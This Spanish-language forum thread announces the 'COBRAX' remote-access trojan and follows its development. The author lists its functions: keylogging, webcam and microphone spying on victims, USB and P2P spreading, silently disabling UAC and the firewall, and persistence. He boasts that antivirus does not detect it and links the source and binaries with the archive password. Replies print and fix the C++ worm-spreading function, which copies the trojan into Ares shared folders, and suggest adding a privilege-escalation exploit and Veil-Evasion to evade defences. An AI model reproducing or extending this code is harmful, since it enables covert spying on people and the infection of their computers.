Hola ! aqui una nueva actualizacion del programa.
Como había comentado ya antes en el ultimo post estaba trabajando en lo que es el FileManager v2.
Y aproveche para armar otros proyectos de por medio y trabajar de a ratos en el troyano.
Aquí las updates del dia.
NOTA :
NO SUBIR A VIRUSTOTAL.COM
ACTUALIZADO 14/08/2015 :
*FileManager Actualizado
+Se agrego menú contextual con las opciones disponibles
+Crear carpeta
+Borrar
+Descargar
+Actualizar
+Subir
**Ahora el FileManager incorporo los directorios fijos [Escritorio], [Archivos de Programa], [Temporales], etc.
*Se corrigió el botón Atrás.
*Se corrigió el error que hacia perder el directorio de los archivos luego de presionar Atrás.
*Al enviar archivos y descargar los mismos por medio de FileManager, la barra de progreso informara el estado de descarga/subida.
*Se corrigió un error en Windows x64. ahora es compatible.
*Se agrego un intervalo para el envió de datos extensos, así evitando la perdida de los mismos.
*Envió de teclas actualizado [Ahora permite el envió de teclas especiales de esta manera]
+ {ENTER}, {ESC}, {ALT}
+ Mensajes completos a ser enviados.
*Se agrego método de encryptacion propio, para las cadenas de texto y registros de lectura.
*Se corrigió el método de borrar archivos a la hora de eliminar carpetas
*En cliente se modifico el skin
*Se corrigieron algunos errores de programación
ACTUALIZADO 04/08/2015 :
*Se incorporo un nuevo comando (Revisar ventanas abiertas)
*Se agrego en el administrador de tareas remoto, la ruta del proceso activo (ejecutado)
ACTUALIZADO 03/08/2015:
*En cliente - se quito la transparencia de los formularios
*Se corrigió un error que hacia que el servidor crasheara repentinamente.
(ahora es estable en todos los sistemas)
*Se agrego auto-size (se ajusta a todas las resoluciones de pantalla) y los formularios
ahora son resizables, minimizables y maximizables.
*Se corrigió un error que no permitía ejecutar en Windows XP (Servidor)
*Se corrigió un error de ScreenShot perdía demasiadas imágenes (Cliente)
*Se corrigió un bug en el script batch que mantenía ejecutado el programa
(ahora no ejecuta tantas veces el proceso cmd.exe & conhost.exe)
si el script es cerrado, cerrara todo y se volverá a auto-ejecutar.
*En el keylogger offline, en algunos SO daba error al insertar el HOOK.
(Se corrigió, y ahora funciona correctamente, sin problemas)
*Servidor (Se quito código basura, y se reestructuraron algunas partes de código)
*Se cambio la imagen de splash de inicio & saber más!
*Se cambio la imagen de sonido de ambiente que suena cuando se presiona datos de autor. (Saber Más!)
*Se cambio el lugar donde se escribe el registro de inicio.
*Se acortaron algunos intervalos de espera para la reconexion.
*Testeado en Ordenadores con los siguientes antivirus instalados
(Windows XP - Avast 4.8) - ( Windows Seven Ultimate - Avast 5)
(Windows 8.1 - Bitdefender ) - ( Windows 10 - ESET 8 )
(Windows 8 - AVG )
Ningun antivirus detecto ninguna heuristica, ni nada sospechoso.
Peso del servidor con UPX - 55KB, peso del servidor sin UPX 172KB.
ACTUALIZADO 01/08/15:
*Se redujo el tamaño del stub ( server ) ( 50kbs aprox )
*Se quito el icono predeterminado
*Se mejoro el rendimiento y velocidad
*Se corrigió el problema de muchas ejecuciones del mismo servidor
*Se cambio el método de obtener las teclas presionadas, ahora se utiliza HOOKS en el teclado y ya no mas el API GetAsyncKeyState que consumía demaciados recursos
y hacia que fuera mucho mas sospechoso
*Se corrigió un error que hacia cerrar el servidor ni bien era ejecutado en algunos casos.
*Des-habilita el UAC sin notificación.
*En el cliente se cambio el Skin y la música de ambiente, en el botón Saber mas!
*Se comentaron mas lineas de código y algunas funciones fueron re-programadas.
ACTUALIZADO 29/07/15:
*Se corrigió el PASS del RAR para que puedan descomprimirlo
*Se corrigió bug en el FileManager, a la hora de descargar un archivo desde el remoto este daba un nombre indebido.
*Se corrigió un bug's en la captura de pantalla cuando este cliente recibía demasiadas, ahora corre sin problemas.
*Se añadió un modulo que hace que si el servidor se cierra, o lo cierran, desconecta y demás, este sera de nuevo ejecutado.
*Se simplificaron varias lineas de código.
ACTUALIZADO 28/07/15:
*Se corrigió el error de auto-inicio (este no iniciaba correctamente)
*Se agrego función de subir archivos a rutas determinadas en el FileManager
*Se modificaron varios formularios, y se mejoro la accesibilidad para el usuario.
*Se corrigieron mensajes mal impresos.
Algunas funciones :
*Keylogger offline & Online
*Monitoreo de la victima, WebCam & Escritorio remoto.
*FileManager (Manejo de archivos remotos)
*Envio de archivos, y recibir archivos remotos.
*Downloader
*Spread USB|P2P
*Payloads (Diversion del usuario con la victima)
*Escuchar microfono remoto
*Envio de mensajes
*Manejo de servicios
*Desactivar Firewall
*Conexiones multiples
*Soporta UPX compresion.
*Es bastante estable
*Consta con muchas opciones mas.
En que sistema funciona ?
Multi SO - XP/Vista/Seven/8/10
(http://i62.tinypic.com/if1urm.png)
(http://i59.tinypic.com/34io87l.png)
(http://i58.tinypic.com/2zh1jfa.png)
(http://i61.tinypic.com/2wnsm5v.png)
(http://i61.tinypic.com/2rh5h0g.png)
(http://i59.tinypic.com/2djnlp2.png)
(http://i58.tinypic.com/2mwz7dg.png)
(http://i58.tinypic.com/i54pc4.png)
(http://i62.tinypic.com/t7ing6.png)
(http://i62.tinypic.com/2nn6n5.png)
(http://i59.tinypic.com/2815weq.png)
(http://i62.tinypic.com/1z6fnet.png)
Analize el servidor en VirSCAN.ORG. aqui los resultados.
http://r.virscan.org/report/868d435c02bfc13487a3400dde1dabcc (http://r.virscan.org/report/868d435c02bfc13487a3400dde1dabcc)
Scanner Engine Ver Sig Ver Sig Date Scan result Time
ahnlab 9.9.9 9.9.9 2013-05-28 Found nothing
antivir 1.9.2.0 1.9.159.0 7.11.250.172 Found nothing
antiy AVL SDK 3.0 2014112615531100 2014-11-26 Found nothing
arcavir 1.0 2011 2014-05-30 Found nothing
asquared 9.0.0.4157 9.0.0.4157 2014-07-30 Found nothing
avast 150727-1 4.7.4 2015-07-27 Found nothing
avg 2109/8526 10.0.1405 2015-01-30 Found nothing
baidu 2.0.1.0 4.1.3.52192 2.0.1.0 Trojan.Backdoor.Heur.gen
baidusd 1.0 1.0 2014-04-02 Found nothing
bitdefender 7.58879 7.90123 2015-01-16 Found nothing
clamav 20725 0.97.5 2015-07-26 PUA.Win32.Packer.UpxProtector
comodo 15023 5.1 2014-11-24 Found nothing
ctch 4.6.5 5.3.14 2013-12-01 Found nothing
drweb 5.0.2.3300 5.0.1.1 2015-07-21 Found nothing
fortinet 26.983 5.1.158 2015-07-27 Found nothing
fprot 4.6.2.117 6.5.1.5418 2015-07-27 W32/Felix:VC_program!Eldorado
fsecure 2014-04-02-01 9.13 2014-04-02 Found nothing
gdata 24.3819 24.3819 2014-08-29 Found nothing
hauri 2.73 2.73 2014-06-13 Found nothing
ikarus 1.06.01 V1.32.31.0 2015-07-27 Found nothing
jiangmin 16.0.100 1.0.0.0 2014-07-28 Found nothing
kaspersky 5.5.33 5.5.33 2014-04-01 Found nothing
kingsoft 2.1 2.1 2013-09-22 Found nothing
mcafee 7638 5400.1158 2014-11-30 Found nothing
nod32 1777 3.0.21 2015-06-12 Found nothing
panda 9.05.01 9.05.01 2014-06-15 Found nothing
pcc 11.816.07 9.500-1005 2015-07-27 Found nothing
qh360 1.0.1 1.0.1 1.0.1 Found nothing
qqphone 1.0.0.0 1.0.0.0 2015-07-28 Found nothing
quickheal 14.00 14.00 2014-06-14 Found nothing
rising 25.17.00.04 25.17.00.04 2014-06-02 Found nothing
sophos 5.08 3.55.0 2014-12-01 Found nothing
sunbelt 3.9.2589.2 3.9.2589.2 2014-06-13 Found nothing
symantec 20150721.001 1.3.0.24 2015-07-21 Found nothing
tachyon 9.9.9 9.9.9 2013-12-27 Found nothing 3
thehacker 6.8.0.5 6.8.0.5 2014-06-12 Posible_Worm32
tws 17.47.17308 1.0.2.2108 2014-06-16 Found nothing
vba 3.12.26.4 3.12.26.4 2015-07-27 Found nothing
virusbuster 15.0.985.0 5.5.2.13 2014-12-05 Found nothing
El servidor esta programado en C++, y el cliente en Visual Basic 6.0
Al que le interese el código, simplemente que me mande un MP.
Aqui sin mas les dejo el programa, cualquier duda, reporte de bug, comentario u opinión son bien recibidos, mientras mas grande sea el apoyo, mas incita a continuar el programa, muchas gracias!!
TROYANO JUNTO CON SU CODIGO + Plus - Una vacuna en caso de infección y su codigo.Nuevo Link 14/08/2015
Link de la carpeta del proyecto
https://sourceforge.net/projects/cobrax-trojan/files/ (https://sourceforge.net/projects/cobrax-trojan/files/)
Link directo del rar con codigo y binarios http://sourceforge.net/projects/cobrax-trojan/files/COBRAX%2014-8-15.rar/download (http://sourceforge.net/projects/cobrax-trojan/files/COBRAX%2014-8-15.rar/download)
PASS : xxneeco83xx
*TRABAJANDO ACTUALMENTE EN : Nuevas funciones 8)
Muy interesante, lastima que no manejo el C++
Vaya, soy el primer comentario. Bueno, por ahora me mantengo en otros lenguajes, :-[
Estoy aprendiendo c++, lo utilizare para aprender un poco, y ver como funcionan de paso los troyanos a nivel interno. Gracias por el aporte
Enviado desde mi Note 3 mediante Tapatalk
En un rato, subire un link nuevo, con un bug corregido, de autoarranque. (este no funcionaba como debia ser), y adjuntare el codigo source, para que puedan analizarlo y estudiarlo. ;D
Muy buen trabajo, un saludo.
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Muy buen trabajo, un saludo.
Muchas gracias ! :D, estaré actualizándolo.
Que gran aporte la verdad, es una lástima que no maneje demasiado C++, pero si necesitas algún día alguien que testee cuenta conmigo ;)
Saludos.
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
PASS : xxneeco83xx
¿Seguro? Quería echarle un vistazo al código fuente pero tengo problemas para descomprimirlo con
xxneeco83xx,
XXNEECO83XX,
xxNEECO83xx,
XXneeco83XX, a pedírselo por favor, a escupir a la pantalla... Y nada, sigo sin acertar.
¿Le habrás puesto tu "contraseña habitual" inconscientemente al volver a comprimirlo? A menudo yo meto la pata y cifro con una contraseña distinta a la que quería poner, por eso de tener tantas contraseñas en la cabeza.
¿O es que algo no va bien en mi equipo? :o
Si alguien pudiera confirmarme que se descomprime correctamente lo agradecería mucho. Igual que el código fuente, que es digno de agradecer.
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
PASS : xxneeco83xx
¿Seguro? Quería echarle un vistazo al código fuente pero tengo problemas para descomprimirlo con xxneeco83xx, XXNEECO83XX, xxNEECO83xx, XXneeco83XX, a pedírselo por favor, a escupir a la pantalla... Y nada, sigo sin acertar.
¿Le habrás puesto tu "contraseña habitual" inconscientemente al volver a comprimirlo? A menudo yo meto la pata y cifro con una contraseña distinta a la que quería poner, por eso de tener tantas contraseñas en la cabeza.
¿O es que algo no va bien en mi equipo? :o
Si alguien pudiera confirmarme que se descomprime correctamente lo agradecería mucho. Igual que el código fuente, que es digno de agradecer.
En efecto, contraseña incorrecta.
Un saludo.
uuff ! si disculpen. inconcientemente le habre puesto otra contraseña, pero bueno, Ya resubi una nueva version que saque ayer por la noche, jaja con otras corregidas.
y la pass si va a ser correcta. :D
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
uuff ! si disculpen. inconcientemente le habre puesto otra contraseña, pero bueno, Ya resubi una nueva version que saque ayer por la noche, jaja con otras corregidas.
y la pass si va a ser correcta. :D
Gracias, bro. Echándole un vistazo por encima ya vi que lo tienes muy bien ordenado y comentado. Eso se agradece muchísimo.
En cuanto tenga un ratito me paro con calma con él.
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
uuff ! si disculpen. inconcientemente le habre puesto otra contraseña, pero bueno, Ya resubi una nueva version que saque ayer por la noche, jaja con otras corregidas.
y la pass si va a ser correcta. :D
Gracias, bro. Echándole un vistazo por encima ya vi que lo tienes muy bien ordenado y comentado. Eso se agradece muchísimo.
En cuanto tenga un ratito me paro con calma con él.
Buenisimo, me comentas a ver que tal, y quienes los hayan probado, se agradece sus opiniones y reportes.
Hola! soy nuevo en el foro, conocí este foro por medio de la aplicación talkpak.. me encanta todo lo que tiene que ver con troyanos, malware los ejecuto en un ambiente controlado.. al ejecutar el troyano me sale el siguiente error...
Component 'LabelDegradado.ocx' or one pf its dependencies not correctly registered: a file is missing or invalid
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Hola! soy nuevo en el foro, conocí este foro por medio de la aplicación talkpak.. me encanta todo lo que tiene que ver con troyanos, malware los ejecuto en un ambiente controlado.. al ejecutar el troyano me sale el siguiente error...
Component 'LabelDegradado.ocx' or one pf its dependencies not correctly registered: a file is missing or invalid
Instala ronda OCX
http://www.mediafire.com/download/d6c1h68g16ah2p7/Ronda+Ocx+~+2011_Instalador.rar
Saludos
Por lo que estuve viendo, ¿no debería saltar el UAC de Windows al ejecutarlo?
(https://upload.wikimedia.org/wikipedia/en/thumb/5/51/Windows_7_UAC.png/310px-Windows_7_UAC.png)
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Por lo que estuve viendo, ¿no debería saltar el UAC de Windows al ejecutarlo?
(https://upload.wikimedia.org/wikipedia/en/thumb/5/51/Windows_7_UAC.png/310px-Windows_7_UAC.png)
Eso es normal ya que esta pidiendo permisos de administrador, y casi cualquier software para Windows pide permisos.
Saludos
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Por lo que estuve viendo, ¿no debería saltar el UAC de Windows al ejecutarlo?
(https://upload.wikimedia.org/wikipedia/en/thumb/5/51/Windows_7_UAC.png/310px-Windows_7_UAC.png)
Eso es normal ya que esta pidiendo permisos de administrador, y casi cualquier software para Windows pide permisos.
Ya, eso es indiscutible. Pero si hablamos de un troyano estaría bien intentar evadir el UAC en la medida de lo posible, ¿no?
Eso es cierto, además de que es muy sospechoso. Yo cuando te respondí no pensaba que fuese el Server.
Un saludo
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Eso es cierto, además de que es muy sospechoso. Yo cuando te respondí no pensaba que fuese el Server.
No hagas mucho caso de la captura, la puse para ilustrar el
UAC. En realidad no lo compilé, pero estuve viendo el código fuente y no vi ningún intento de escalar privilegios o evadir la seguridad de Windows, por lo que supuse que activaría la alerta en algún momento.
Si el sistema no está parcheado contra
CVE-2015-1701: Elevar privilegios en Windows (https://underc0de.org/foro/bugs-y-exploits/cve-2015-1701-elevar-privilegios-en-windows/) podría intentar usarse
el código del exploit de hfiref0x (https://github.com/hfiref0x/CVE-2015-1701) para conseguir privilegios de
SYSTEM, con lo que lo demás está rodado.
Si eso lo tenia en cuenta, pero aun no me he puesto a trabajar en ello, vere que metodo consigo agregarle. así evadirlo. ::)
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Si eso lo tenia en cuenta, pero aun no me he puesto a trabajar en ello, vere que metodo consigo agregarle. así evadirlo. ::)
Todavía sigo leyéndolo a ratitos y me gusta cómo lo fuiste identificando todo.
Tengo una duda, que creo que es una errata.
OPENSC\Servidor\source\functions.h - Líneas de 498 a 574 (Función
Spread_Ares)
bool __stdcall Spread_Ares ( VOID )
{
HKEY key;
BOOL Install = FALSE;
DWORD cbSize = 256;
LPSTR Path, New, AppName;
AppName = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), MAX_PATH );
Path = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), cbSize + 1 );
if ( RegOpenKeyExA ( HKEY_CURRENT_USER, "Software\\Ares", 0, KEY_QUERY_VALUE, &key ) == ERROR_SUCCESS )
{
Install = TRUE;
RegQueryValueEx ( key, ( LPSTR ) "Sys.Desktop", 0, 0, ( LPBYTE ) Path, & cbSize );
RegCloseKey ( key );
}
else
{
GlobalFree ( AppName );
GlobalFree ( Path );
RegCloseKey ( key );
return FALSE;
}
if ( Install = FALSE )
{
GlobalFree ( AppName );
GlobalFree ( Path );
return FALSE;
}
GetModuleFileNameA ( GetModuleHandleA ( 0L ), AppName, MAX_PATH );
if( PathFileExistsA ( Path ) )
{
for ( int i = 0; lista [ i ] != ( 0x00 ); lista [ i ++ ] )
{
New = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), MAX_PATH );
lstrcatA ( Path, "\\" );
lstrcpyA ( New, Path );
lstrcatA ( New, lista [ i ] );
CopyFileA ( AppName, New, FALSE );
GlobalFree ( New );
}
GlobalFree ( AppName );
GlobalFree ( Path );
return TRUE;
}
else
{
GlobalFree ( Path );
}
GlobalFree ( Path );
GlobalFree ( AppName );
return FALSE;
}
Primero creamos la variable Booleana
Install poniéndolo en
FALSE, y si el resultado de
RegOpenKeyExA es
ERROR_SUCCESS ponemos
Install a
True. Si no, la función devuelve
FALSE. Pero además, luego, si
Install está en
FALSE se vuelve a repetir.
BOOL Install = FALSE;
if ( RegOpenKeyExA ( HKEY_CURRENT_USER, "Software\\Ares", 0, KEY_QUERY_VALUE, &key ) == ERROR_SUCCESS )
{...}
else
{ GlobalFree ( AppName );
GlobalFree ( Path );
RegCloseKey ( key );
return FALSE;}
if ( Install = FALSE )
{ GlobalFree ( AppName );
GlobalFree ( Path );
return FALSE; }
¿Ésto es por algo o es una errata?
se ve weno,lo voy a probar.
gracias
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Si eso lo tenia en cuenta, pero aun no me he puesto a trabajar en ello, vere que metodo consigo agregarle. así evadirlo. ::)
Todavía sigo leyéndolo a ratitos y me gusta cómo lo fuiste identificando todo.
Tengo una duda, que creo que es una errata.
OPENSC\Servidor\source\functions.h - Líneas de 498 a 574 (Función Spread_Ares)
bool __stdcall Spread_Ares ( VOID )
{
HKEY key;
BOOL Install = FALSE;
DWORD cbSize = 256;
LPSTR Path, New, AppName;
AppName = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), MAX_PATH );
Path = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), cbSize + 1 );
if ( RegOpenKeyExA ( HKEY_CURRENT_USER, "Software\\Ares", 0, KEY_QUERY_VALUE, &key ) == ERROR_SUCCESS )
{
Install = TRUE;
RegQueryValueEx ( key, ( LPSTR ) "Sys.Desktop", 0, 0, ( LPBYTE ) Path, & cbSize );
RegCloseKey ( key );
}
else
{
GlobalFree ( AppName );
GlobalFree ( Path );
RegCloseKey ( key );
return FALSE;
}
if ( Install = FALSE )
{
GlobalFree ( AppName );
GlobalFree ( Path );
return FALSE;
}
GetModuleFileNameA ( GetModuleHandleA ( 0L ), AppName, MAX_PATH );
if( PathFileExistsA ( Path ) )
{
for ( int i = 0; lista [ i ] != ( 0x00 ); lista [ i ++ ] )
{
New = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), MAX_PATH );
lstrcatA ( Path, "\\" );
lstrcpyA ( New, Path );
lstrcatA ( New, lista [ i ] );
CopyFileA ( AppName, New, FALSE );
GlobalFree ( New );
}
GlobalFree ( AppName );
GlobalFree ( Path );
return TRUE;
}
else
{
GlobalFree ( Path );
}
GlobalFree ( Path );
GlobalFree ( AppName );
return FALSE;
}
Primero creamos la variable Booleana Install poniéndolo en FALSE, y si el resultado de RegOpenKeyExA es ERROR_SUCCESS ponemos Install a True. Si no, la función devuelve FALSE. Pero además, luego, si Install está en FALSE se vuelve a repetir.
BOOL Install = FALSE;
if ( RegOpenKeyExA ( HKEY_CURRENT_USER, "Software\\Ares", 0, KEY_QUERY_VALUE, &key ) == ERROR_SUCCESS )
{...}
else
{ GlobalFree ( AppName );
GlobalFree ( Path );
RegCloseKey ( key );
return FALSE;}
if ( Install = FALSE )
{ GlobalFree ( AppName );
GlobalFree ( Path );
return FALSE; }
¿Ésto es por algo o es una errata?
Ajá, no ese es un error mio, el problema, de igual forma si fallaba antes de comprobar si la variable era TRUE o FALSE; returnaria.
Pero ya gracias por el dato, corregido seria
bool __stdcall Spread_Ares ( VOID )
{
HKEY key;
DWORD cbSize = 256;
LPSTR Path, New, AppName;
AppName = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), MAX_PATH );
Path = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), cbSize + 1 );
if ( RegOpenKeyExA ( HKEY_CURRENT_USER, "Software\\Ares", 0, KEY_QUERY_VALUE, &key ) == ERROR_SUCCESS )
{
RegQueryValueEx ( key, ( LPSTR ) "Sys.Desktop", 0, 0, ( LPBYTE ) Path, & cbSize );
RegCloseKey ( key );
}
else
{
GlobalFree ( AppName );
GlobalFree ( Path );
RegCloseKey ( key );
return FALSE;
}
GetModuleFileNameA ( GetModuleHandleA ( 0L ), AppName, MAX_PATH );
if( PathFileExistsA ( Path ) )
{
for ( int i = 0; lista [ i ] != ( 0x00 ); lista [ i ++ ] )
{
New = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), MAX_PATH );
lstrcatA ( Path, "\\" );
lstrcpyA ( New, Path );
lstrcatA ( New, lista [ i ] );
CopyFileA ( AppName, New, FALSE );
GlobalFree ( New );
}
GlobalFree ( AppName );
GlobalFree ( Path );
return TRUE;
}
GlobalFree ( Path );
GlobalFree ( AppName );
return FALSE;
}
Por cierto, eso del UAC que comentas entiendo a lo que te refieres, pero yo cuando testie el servidor en Windows Xp, Vista, 7. no hacia falta ejecutar como administrador, ya que el compilado tiene incluido la marca Microsoft® por lo que lo toma como un archivo del sistema, si hasta si te fijas cuando crea el servicio, si tu accedes al msconfig, y marcas la casilla ocultar servicios de microsoft, (esto también funciona en Windows 10)
este también oculta el servicio del servidor, lo toma como si fuera de Microsoft.
Volviendo a lo anterior, hasta windows 7 el UAC no salta, y asi lo abran como o sin administrador, este funciona igual.
Ya de Windows 8 en adelante, actualmente poseo Windows 10. pero en la virtual machine probe (esta tiene Windows 8)
Cuando le das al boton ejecutar. El uac dice "Desea ejecutar como administrador" en caso de darle a No, no se ejecutara el programa
es decir que yo podria agregarle un modulo para que obtenga privilegios altos, pero de que sirviria si el UAC salta desde un comienzo diciendo que si desea aceptar ejecutar.
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Cuando le das al boton ejecutar. El uac dice "Desea ejecutar como administrador" en caso de darle a No, no se ejecutara el programa
es decir que yo podria agregarle un modulo para que obtenga privilegios altos, pero de que sirviria si el UAC salta desde un comienzo diciendo que si desea aceptar ejecutar.
Bueno, hacemos las cosas más complicadas, pero sabemos que hay métodos para evadir AV's y UAC con Veil-Evasion (https://github.com/Veil-Framework/Veil-Evasion/). Sería cuestión de implementarlo en
"el bicho".
Es algo fácil de decir y difícil de implementar, pero ¿tenemos algo mejor que hacer?
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Cuando le das al boton ejecutar. El uac dice "Desea ejecutar como administrador" en caso de darle a No, no se ejecutara el programa
es decir que yo podria agregarle un modulo para que obtenga privilegios altos, pero de que sirviria si el UAC salta desde un comienzo diciendo que si desea aceptar ejecutar.
Bueno, hacemos las cosas más complicadas, pero sabemos que hay métodos para evadir AV's y UAC con Veil-Evasion (https://github.com/Veil-Framework/Veil-Evasion/). Sería cuestión de implementarlo en "el bicho".
Es algo fácil de decir y difícil de implementar, pero ¿tenemos algo mejor que hacer?
No claro, algo implementare, actualmente le estoy dando prioridad a un error de conexion que tiene el servidor (este si pierde la conexion, y no logra reconectar luego de varios minutos, queda en nada, y consume mucho uso del CPU), luego de eso subire de nuevo, para quienes quieran usarlo sin bugs, y algo hecho sobre los privilegios. lo que son heuristica de avast, y eset. al menos no han detectado nada.
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
No claro, algo implementare.
Me encanta. A ver qué sale. Pero tienes razón, todo a su tiempo.
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
le estoy dando prioridad a un error de conexion que tiene el servidor (este si pierde la conexion, y no logra reconectar luego de varios minutos, queda en nada, y consume mucho uso del CPU)
Quizá sea culpa del keylogger offline. Es un buen momento para estudiar el funcionamiento offline del
bicho con un depurador como
immunity debugger (https://www.immunityinc.com/products/debugger/). Estoy intentando compilar el código fuente pero estoy teniendo algún que otro problema. ¿Utilizaste algún IDE? ¿Qué compilador estás utilizando? Lo intento desde Code::Blocks con
mingw32-gcc-g++ 4.8.1-4.
**EDIT**: Estoy jugando con la versión que has compilado tú y hay algunas cosas que no me gustan, comenzando por la transparencia en las ventanas. Habrá a quien le guste, pero me parece que sólo añade peso al programa sin cumplir ninguna función interesante. Además, dependiendo de la resolución de la pantalla al iniciar el programa, podemos quedarnos con una ventana sin botones que no podemos redimensionar. Adjunto imagen.
(http://anonpix.com/images/2015/08/01/HpEFD.png)
Pero bueno, son observaciones mías. Me gustan las cosas con interfaz cutre y funcionamiento óptimo. Los efectos visuales son mero maquillaje.
(Aunque no todos piensan como yo)
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
No claro, algo implementare.
Me encanta. A ver qué sale. Pero tienes razón, todo a su tiempo.
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
le estoy dando prioridad a un error de conexion que tiene el servidor (este si pierde la conexion, y no logra reconectar luego de varios minutos, queda en nada, y consume mucho uso del CPU)
Quizá sea culpa del keylogger offline. Es un buen momento para estudiar el funcionamiento offline del bicho con un depurador como immunity debugger (https://www.immunityinc.com/products/debugger/). Estoy intentando compilar el código fuente pero estoy teniendo algún que otro problema. ¿Utilizaste algún IDE? ¿Qué compilador estás utilizando? Lo intento desde Code::Blocks con mingw32-gcc-g++ 4.8.1-4.
**EDIT**: Estoy jugando con la versión que has compilado tú y hay algunas cosas que no me gustan, comenzando por la transparencia en las ventanas. Habrá a quien le guste, pero me parece que sólo añade peso al programa sin cumplir ninguna función interesante. Además, dependiendo de la resolución de la pantalla al iniciar el programa, podemos quedarnos con una ventana sin botones que no podemos re-dimensionar. Adjunto imagen.
(http://anonpix.com/images/2015/08/01/HpEFD.png)
Pero bueno, son observaciones mías. Me gustan las cosas con interfaz cutre y funcionamiento óptimo. Los efectos visuales son mero maquillaje. (Aunque no todos piensan como yo)
Si son muchas cosas las que tengo que hacerle aun, trabaje bastante en lo que es el Servidor y casi poco en lo que es el cliente. por eso coloque en el post que hasta que no saque otra versión con muchas cosas corregidas y siendo FUD y demás no actualizare tan a menudo, con respecto al compilador uso Dev-Cpp con MinGW GCC 4.7.0 en Windows (cuando uso codeblocks tengo problema con la librería gdiplus).
El problema de colectividad ya logre resolverlo, y quite el uso de la API GetAsyncKeyState, y coloque el HOOK en el teclado. y ahora todo funciona mas fluido y sin consumir tantos recursos.
Son buenas y aceptables las criticas, no a todos puede gustarle en si el programa, como ya lo he dicho antes, me llevo bastante tiempo desarrollarlo y más aun corregir los bugs.
Pero ahora modificare el cliente, para que se ajuste a la resolución de pantalla dependiendo en cada ordenador que se ejecute, y le quitare la transparencia.
Gracias por la opinion! Saludos!
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
El problema de colectividad ya logre resolverlo, y quite el uso de la API GetAsyncKeyState, y coloque el HOOK en el teclado. y ahora todo funciona mas fluido y sin consumir tantos recursos.
Siempre había visto hacer directamente el hook al teclado para capturar las pulsaciones, por eso tu sistema me confundía un poco.
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Gracias por la opinion!
Te veo con este proyecto bien llevado, y más que dar mi opinión el objetivo siempre será compartir ideas. Como una noticia que leí hoy en el blog de Chema Alonso en el que comentaban
cómo controlar un troyano enviándole comandos a través de un SSID cercano (http://www.elladodelmal.com/2015/07/como-controlar-un-troyano-en-un-equipo.html). Me pareció interesantísimo para este troyano
(Para éste y para muchas cosas).
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Pero ahora modificare el cliente, para que se ajuste a la resolución de pantalla dependiendo en cada ordenador que se ejecute, y le quitare la transparencia.
Ok, me gusta. ¿Lo subirás actualizado?
** EDIT **
He enviado un email al autor de la entrada del blog preguntándole si le gustaría compartir el código con nosotros. Crucemos los dedos.
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
El problema de colectividad ya logre resolverlo, y quite el uso de la API GetAsyncKeyState, y coloque el HOOK en el teclado. y ahora todo funciona mas fluido y sin consumir tantos recursos.
Siempre había visto hacer directamente el hook al teclado para capturar las pulsaciones, por eso tu sistema me confundía un poco.
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Gracias por la opinion!
Te veo con este proyecto bien llevado, y más que dar mi opinión el objetivo siempre será compartir ideas. Como una noticia que leí hoy en el blog de Chema Alonso en el que comentaban cómo controlar un troyano enviándole comandos a través de un SSID cercano (http://www.elladodelmal.com/2015/07/como-controlar-un-troyano-en-un-equipo.html). Me pareció interesantísimo para este troyano (Para éste y para muchas cosas).
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Pero ahora modificare el cliente, para que se ajuste a la resolución de pantalla dependiendo en cada ordenador que se ejecute, y le quitare la transparencia.
Ok, me gusta. ¿Lo subirás actualizado?
** EDIT **
He enviado un email al autor de la entrada del blog preguntándole si le gustaría compartir el código con nosotros. Crucemos los dedos.
si, pasa que este troyano lo comencé en 2012 y en ese entonces el método que conocía era GetAsyncKeyState, y habia tenido inconveniente al aplicar el HOOK ya que este siempre necesita de GetMessages, DispatchMessages y TranslateMessages, tendría que reestructurar todo para usar el hook dependiendo siempre de los Thread's, o depender de una DLL y eso no me gustaba. pero ya implemente otra formula que funciona perfecto, no se escapa ni una tecla :D y no consume nada de recursos.
Con respecto al código y la idea que comentas.
Se ve interesante, ojala comparta el código! y si subiré el nuevo cliente ? si claro, en un rato mas ya subo! ya logre hacer que se ajustara a la resolución y modifique bastante el cliente
cosa de no tener problemas de resolución, y le agregue el Resize, y para que pueda utilizare maximizado. ( y sin transparencia ).
Pregunta disculpe me ignorancia.
